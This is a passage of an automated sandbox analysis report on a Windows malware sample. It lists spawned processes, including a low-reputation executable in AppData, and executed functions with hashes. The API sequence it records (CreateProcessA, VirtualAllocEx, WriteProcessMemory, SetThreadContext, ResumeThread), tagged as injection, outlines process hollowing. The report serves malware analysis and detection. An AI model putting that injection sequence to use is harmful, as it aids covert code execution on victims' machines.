Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:12:15
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:12:15
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\LjGABleGAy.exe"
Imagebase:	0x910000
File size:	563'720 bytes
MD5 hash:	304EA6D5CF3786D19DE14F004D7D057A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:12:15
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.1%
Total number of Nodes:	320
Total number of Limit Nodes:	16

Executed Functions

Function 02D8F350 Relevance: 9.1, Strings: 7, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 02D8F820
Te]q, xrefs: 02D8F3A6
Te]q, xrefs: 02D8F58A
$]q, xrefs: 02D8F768
Te]q, xrefs: 02D8F5DA
Te]q, xrefs: 02D8F501
Te]q, xrefs: 02D8F3ED

Memory Dump Source

Source File: 00000000.00000002.2132977723.0000000002D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d80000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID: Te]q$Te]q$Te]q$Te]q$Te]q$$]q$$]q
API String ID: 0-564603710
Opcode ID: 93cc1dcc9de79529b7883314000ec1b70c58cc405d55c272e0e508a1888a2e41
Instruction ID: 77592b844a1b2495a7096defa46e50497e781f6767ad37dbf8206be96e1b8717
Opcode Fuzzy Hash: 93cc1dcc9de79529b7883314000ec1b70c58cc405d55c272e0e508a1888a2e41
Instruction Fuzzy Hash: 4BD1C070F40244DFEB14AF68D959BAD7BF2FB88700F608965E542AB794EB748C05CB90

Function 02D87020 Relevance: 2.5, Strings: 1, Instructions: 1236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp]q, xrefs: 02D877E4

Memory Dump Source

Source File: 00000000.00000002.2132977723.0000000002D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d80000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID: Pp]q
API String ID: 0-2528107101
Opcode ID: 047f86716ffc8f8db8dde837711331a822de7b83308af9f26ae1d40aec21c7be
Instruction ID: d44839db5188d9deb6e9b2ad60ae6babc72802b8cfcb7f8600681308bfafa355
Opcode Fuzzy Hash: 047f86716ffc8f8db8dde837711331a822de7b83308af9f26ae1d40aec21c7be
Instruction Fuzzy Hash: 87C2C334A01619CFDB64EF68C884AD9B7B6FF89301F1195E9D409AB365DB30AE85CF40

Function 02D87010 Relevance: 2.2, Strings: 1, Instructions: 971
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp]q, xrefs: 02D877E4

Memory Dump Source

Source File: 00000000.00000002.2132977723.0000000002D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d80000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID: Pp]q
API String ID: 0-2528107101
Opcode ID: 3018ae52ef1b862a90dd9836df9562bbecc2666fe7b8e73672b26a0833e1b59e
Instruction ID: fe6089ed7883b8a71dc86a6b400267bc3df4a42379d6bd66548f66503fdae9bb
Opcode Fuzzy Hash: 3018ae52ef1b862a90dd9836df9562bbecc2666fe7b8e73672b26a0833e1b59e
Instruction Fuzzy Hash: 4BA2B234A506198FCB64EF68C884AD9B7B6FF89310F1186E9D5096B364DB31AEC5CF40

Function 01327375 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d67bb2773af7f5113f6e0cf2d8e6afb282d6a3c08bfe6c042486c380830dd8e
Instruction ID: c361ba83fc6f02661eef2e508e478eb6c54afa310913ba442b5ccb0b74730d88
Opcode Fuzzy Hash: 9d67bb2773af7f5113f6e0cf2d8e6afb282d6a3c08bfe6c042486c380830dd8e
Instruction Fuzzy Hash: 7AE0E279D49139DACB22AF58A4502F8B3BDBB6F629F0024A1D50EA3901C3308A958A55

Function 01327490 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa7c243e25ae0e677cbf8774a2f12f313cfe710012b09501413043abc33b3d58
Instruction ID: ed551d31e1edcbe1ee343e3cb2f5338ed3a26b7503e31534736fbdff1ff34b23
Opcode Fuzzy Hash: fa7c243e25ae0e677cbf8774a2f12f313cfe710012b09501413043abc33b3d58
Instruction Fuzzy Hash: A4C08C36D8F03CD6CA023AA438000F8F73CAAAB469F003092C10EA3C12C0108A290268

Function 0137D2F0 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0137D37E
GetCurrentThread.KERNEL32 ref: 0137D3BB
GetCurrentProcess.KERNEL32 ref: 0137D3F8
GetCurrentThreadId.KERNEL32 ref: 0137D451

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 974697c5cff6409249e4e4aa4240b9b42aa8c8b8a8beb8ef45aaad75e5a1154b
Instruction ID: 0730e7076a9ccdf8296a32cd2460e82b9a9af2336d6c3da16c219688bc1d608d
Opcode Fuzzy Hash: 974697c5cff6409249e4e4aa4240b9b42aa8c8b8a8beb8ef45aaad75e5a1154b
Instruction Fuzzy Hash: 3B5156B0900349CFDB19DFAAD648BAEBFF1EF49304F248459E009A73A1D7385948CB65

Function 0137D300 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0137D37E
GetCurrentThread.KERNEL32 ref: 0137D3BB
GetCurrentProcess.KERNEL32 ref: 0137D3F8
GetCurrentThreadId.KERNEL32 ref: 0137D451

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b4bbf2b32039032bd1ecfce365d370fc3e905eac0d46670cca82e96712195d87
Instruction ID: d0fa3b4b31f5ba2048d3b4f6ae7cf54561c611648cbc0e8cb252cb80324fd139
Opcode Fuzzy Hash: b4bbf2b32039032bd1ecfce365d370fc3e905eac0d46670cca82e96712195d87
Instruction Fuzzy Hash: 505138B0900349CFDB18DFAAD648BAEBBF1FF48304F208459E409A7360D7385948CB65

Function 013239D4 Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 01323C16

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 0bab78ff0d107b09e525c03b9d6ad9bdaf27beb577c68944d7240c339a3cf26d
Instruction ID: 3fec0271f9cb3fb892fec584270b0624acf4326e979f8ead0c04f5b46113afc0
Opcode Fuzzy Hash: 0bab78ff0d107b09e525c03b9d6ad9bdaf27beb577c68944d7240c339a3cf26d
Instruction Fuzzy Hash: E1914C71D00629CFEF24DF69C841BEDBBB2BF48314F14856AD808A7280DB789985CF91

Function 013239E0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 01323C16

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: eb0d198c568d92faa39e3112cf0b20f7f6805061209acf51aed8bcc57227469c
Instruction ID: 0d6243bb42a7068207d46d3b8b97d8e74c1fba6d082e68ecbb13b35ad9f2f0de
Opcode Fuzzy Hash: eb0d198c568d92faa39e3112cf0b20f7f6805061209acf51aed8bcc57227469c
Instruction Fuzzy Hash: 34914D71D00629DFEF24DF69C841BEDBBB2BF48714F14856AD808A7280DB789985CF91

Function 0137B070 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0137B2C6

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8f3d19919361880f805c19dc9e655f5bbcde16d10f5d3f7ec6f47d77d053322c
Instruction ID: a9ce593a51d757512797c9923da576049059b85834a8018f62363049030f00a8
Opcode Fuzzy Hash: 8f3d19919361880f805c19dc9e655f5bbcde16d10f5d3f7ec6f47d77d053322c
Instruction Fuzzy Hash: 7C713470A00B058FE724DF2AD54475ABBF5FF88304F00892DD48ADBA54DB79E945CB90

Function 02D81CE5 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 02D81E02

Memory Dump Source

Source File: 00000000.00000002.2132977723.0000000002D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d80000_RgIbrhxoEx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 743e7c52673f580b806bf10d15178a9c23e0fc2bfa209e6ee0c55148fbcb943b
Instruction ID: 0c62ee665e09b48123964c1efd5f968fa7d4b17b0c708f4c32a76688cdc712c0
Opcode Fuzzy Hash: 743e7c52673f580b806bf10d15178a9c23e0fc2bfa209e6ee0c55148fbcb943b
Instruction Fuzzy Hash: 4351E0B1D00309DFDB14DF9AC984ADEFBB5BF48300F64812AE418AB210D775A885CF90

Function 02D81CF0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 02D81E02

Memory Dump Source

Source File: 00000000.00000002.2132977723.0000000002D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d80000_RgIbrhxoEx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: df4da44883e9f4b2a7b9d841d26d7c1e8f54222c3cb73eda180402bf14a4d71b
Instruction ID: 745d923a26aff7fcbeff143f536256c64f633995ebc81d5c6a3fe7d602e968a6
Opcode Fuzzy Hash: df4da44883e9f4b2a7b9d841d26d7c1e8f54222c3cb73eda180402bf14a4d71b
Instruction Fuzzy Hash: DB41B0B1D00319DFDB14DF9AC984ADEBBB5BF48314F24852AE819AB210D775A885CF90

Function 0137590D Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 013759C9

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7ecb996a780e79dc960c58978f2382b475706dd2fa9b9dbface5a655e3f3e26d
Instruction ID: 3b8fb38a9cf324b8989b3b4ddc19552f39e2261099024dfd8a41d7fb68661507
Opcode Fuzzy Hash: 7ecb996a780e79dc960c58978f2382b475706dd2fa9b9dbface5a655e3f3e26d
Instruction Fuzzy Hash: 3041F2B1C00719CBDB29DFAAC9847CDBBF1BF49304F20846AD409AB260DB756946CF50

Function 02D80BE4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 02D84381

Memory Dump Source

Source File: 00000000.00000002.2132977723.0000000002D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d80000_RgIbrhxoEx.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 026decd6a36da2bdd1114bf74d07f53955fe4eac66cd030b3df4d2385d714997
Instruction ID: c8efeb073c72bb9e08185e5d5dfe2883449959683a89d1691a51481a485ff8c4
Opcode Fuzzy Hash: 026decd6a36da2bdd1114bf74d07f53955fe4eac66cd030b3df4d2385d714997
Instruction Fuzzy Hash: 9D411AB49003059FCB14DF9AC448AAAFBF5FF89314F24C459E559AB361D374A841CFA0

Function 013744B0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 013759C9

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 42958f6a7ce4ba58052226ad89203c57ae4e2a533b1649b47ea79a10ddb20231
Instruction ID: 7e9905269b3af5e37036ddf39ac8d67bb39cff8ae0e40573e6e8e1481923d0a5
Opcode Fuzzy Hash: 42958f6a7ce4ba58052226ad89203c57ae4e2a533b1649b47ea79a10ddb20231
Instruction Fuzzy Hash: 3841C5B0C0071DCBDB29DFAAC844B9DBBF5BF49304F20806AD409AB255D7755946CF91

Function 01323691 Relevance: 1.6, APIs: 1, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 01323706

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 817780d3c944cfc199c0222b3ac62bd0fc05ae9a54b491a66e8aed6884cf34a9
Instruction ID: 69100ad41b3c286d50b99b6fffb2f9b148116b15484bf3fcd846ce6a78f22d42
Opcode Fuzzy Hash: 817780d3c944cfc199c0222b3ac62bd0fc05ae9a54b491a66e8aed6884cf34a9
Instruction Fuzzy Hash: 19215C768002199FDB20EFAAC8457EEFFF5FF88324F14841AD519A7250CB399541CBA0

Function 01323750 Relevance: 1.6, APIs: 1, Instructions: 74injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 013237E8

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f0f359f7f067f1c447f951df6650b19ed594938a1fb9bddcf2276d82dd1c849b
Instruction ID: 67a6e55aee90b53494effde1e9404dc8a17641b303cc3335edb03c04d781645e
Opcode Fuzzy Hash: f0f359f7f067f1c447f951df6650b19ed594938a1fb9bddcf2276d82dd1c849b
Instruction Fuzzy Hash: F42126B59002199FCF14DFAEC885BEEBBF5FF48314F10842AE918A7240C7789544CBA0

Function 01323758 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 013237E8

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d621b4167bd28c657689dbc768a7a682a0fa238a01629a87119d2a493ea4a857
Instruction ID: d4b9fcba8cb5da96dbd00caa46ff4116c38a3070e33d18b0910617b3eabffc9e
Opcode Fuzzy Hash: d621b4167bd28c657689dbc768a7a682a0fa238a01629a87119d2a493ea4a857
Instruction Fuzzy Hash: 1B21F6B59003599FDB10DFAAC985BEEBBF5FF48314F10842AE919A7240D7789944CBA0

Function 0137D540 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0137D5CF

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c1c675ce8a6560b5be17ac3f439a5e79c479d82ad07ed06240b2c3297de2d288
Instruction ID: 53166c7fac519bcbf293fabdbe50594a789e3dc1bae12a988ccce8b103946f4f
Opcode Fuzzy Hash: c1c675ce8a6560b5be17ac3f439a5e79c479d82ad07ed06240b2c3297de2d288
Instruction Fuzzy Hash: A421D4B59002099FDB10DFAAD984ADEBBF5FB48324F14841AE918A7250D379A944CFA4

Function 01323841 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 013238C8

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1ab316ed40b8ce5b5bf7d1d5486284f7fd0be33c5623955f60cfe25f8edeeb4d
Instruction ID: 1f4629b9a23d16b758ad73f6f71e25a040ed30c5591c0448badaf6e2df5507f1
Opcode Fuzzy Hash: 1ab316ed40b8ce5b5bf7d1d5486284f7fd0be33c5623955f60cfe25f8edeeb4d
Instruction Fuzzy Hash: E52139B19002198FCB10DFAAC8806EEFBF5FF48310F10842AE519A7240C7789545CBA0

Function 013235B9 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0132363E

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a47f008defe95b43d3da476b18fcd8d80dfce21d24e36f9fd899a798bf1cd5b1
Instruction ID: bb81a534c914e7cf6c87df6b575db706a4474eb4ed861b421a0d52a255f5cde7
Opcode Fuzzy Hash: a47f008defe95b43d3da476b18fcd8d80dfce21d24e36f9fd899a798bf1cd5b1
Instruction Fuzzy Hash: 082139719003198FDB20DFAAC4857EEBBF4FF49324F10842AD559A7340D7789945CBA1

Function 01323848 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 013238C8

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 6e865f2ac3d71f6b3f2d7d7c0acb2d5a9c10fede56aa238937663a51c01dcb3d
Instruction ID: 6a5fc024125cb248fa43ba163022fddcd8ec62a596fded0800ac1643d338a935
Opcode Fuzzy Hash: 6e865f2ac3d71f6b3f2d7d7c0acb2d5a9c10fede56aa238937663a51c01dcb3d
Instruction Fuzzy Hash: 972139B1C003599FCB10DFAAC880AEEFBF5FF48310F10882AE519A7240C778A544CBA0

Function 013235C0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0132363E

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ac788b96bd789a6daa16ed0c86ca01696c6abb8fc9e3d45f1daa38f03965b528
Instruction ID: 4f3cf31ed04ab099dae03c592c42476cae4cb4961c155c690bf5ff48cf55439d
Opcode Fuzzy Hash: ac788b96bd789a6daa16ed0c86ca01696c6abb8fc9e3d45f1daa38f03965b528
Instruction Fuzzy Hash: D42134B19002198FDB20DFAAC4857AEBBF4FF48324F10842AD559A7240CB78A945CBA0

Function 0137D548 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0137D5CF

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a38755fe40d5d0cdbfcfed4d1807ffbd959b771fa4eaf499facd7fa16b0bc5f4
Instruction ID: c5d7792b3c6110d863a1f751d71ee23b125fae0f4af752f8699193e311d4d105
Opcode Fuzzy Hash: a38755fe40d5d0cdbfcfed4d1807ffbd959b771fa4eaf499facd7fa16b0bc5f4
Instruction Fuzzy Hash: D421E6B59002089FDB10CF9AD584ADEBFF4FF48314F14841AE914A3310D378A944CFA4

Function 0137AA88 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0137B341,00000800,00000000,00000000), ref: 0137B552

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1d483f1af290723e627f7136630a469a878e60e7589e9a3cf29df91416a7ddc8
Instruction ID: da21a758c8f31e4b64cca6c6c03a6bff4cfbef00821f3f58a930886c8fc6ae08
Opcode Fuzzy Hash: 1d483f1af290723e627f7136630a469a878e60e7589e9a3cf29df91416a7ddc8
Instruction Fuzzy Hash: 481112B6800349CFDB20DF9AC448B9EFBF8EB48324F10842AE519A7210C379A545CFA4

Function 0137B4E1 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0137B341,00000800,00000000,00000000), ref: 0137B552

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8197f048688c9baedae75c50a85c3966ac645d54b244d16c5ff4a1da1829b944
Instruction ID: 62a7bb41892cbed96925a37a737a3764e54688ef84247489358309b607ed7f0f
Opcode Fuzzy Hash: 8197f048688c9baedae75c50a85c3966ac645d54b244d16c5ff4a1da1829b944
Instruction Fuzzy Hash: C31114B6800349DFDB20CF9AD444ADEFBF5EB48324F14841AD519A7200C379A545CFA0

Function 01323698 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 01323706

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 839bcc028d764b08d2a12b1bc8c2111b030c512a40473e2b59bf1d29d1366957
Instruction ID: 7f4432b873096a69d5238bc389a3ade495ac8651236cde2f71bd067c521d129e
Opcode Fuzzy Hash: 839bcc028d764b08d2a12b1bc8c2111b030c512a40473e2b59bf1d29d1366957
Instruction Fuzzy Hash: CF1137B58002499FCB10DFAAC844AEEBFF5FF48314F108819E519A7250C779A544CFA0

Function 01323510 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 01323572

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 42285c50787c67f72fdd5edf63fd6c1d8f1f6acc11b7b116464ea75833178876
Instruction ID: 73c67dc83d296bdd7f4489c955e7e29939d2b27ddb89a78e8eb01b5d083dfb0b
Opcode Fuzzy Hash: 42285c50787c67f72fdd5edf63fd6c1d8f1f6acc11b7b116464ea75833178876
Instruction Fuzzy Hash: 0B1128B1D002498FDB24DFAAC4457AEFBF5EF89314F208419D519A7240CB79A544CBA0

Function 01323508 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 01323572

Memory Dump Source

Source File: 00000000.00000002.2131400882.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1320000_RgIbrhxoEx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3ea3d2e1c895531fe618b07d7da5bc18a73bb2f9ea866d4edf7a8599d956b5d1
Instruction ID: ddd02831750f3db9a8f1195c6c7d072cc6dfed3b048f8f45672da391cbe2bc53
Opcode Fuzzy Hash: 3ea3d2e1c895531fe618b07d7da5bc18a73bb2f9ea866d4edf7a8599d956b5d1
Instruction Fuzzy Hash: 1C1158B5D002088FDB20EFAAC5457EEFBF5EF88314F20881AC519A7250C738A544CBA0

Function 0137B259 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0137B2C6

Memory Dump Source

Source File: 00000000.00000002.2131460876.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1370000_RgIbrhxoEx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
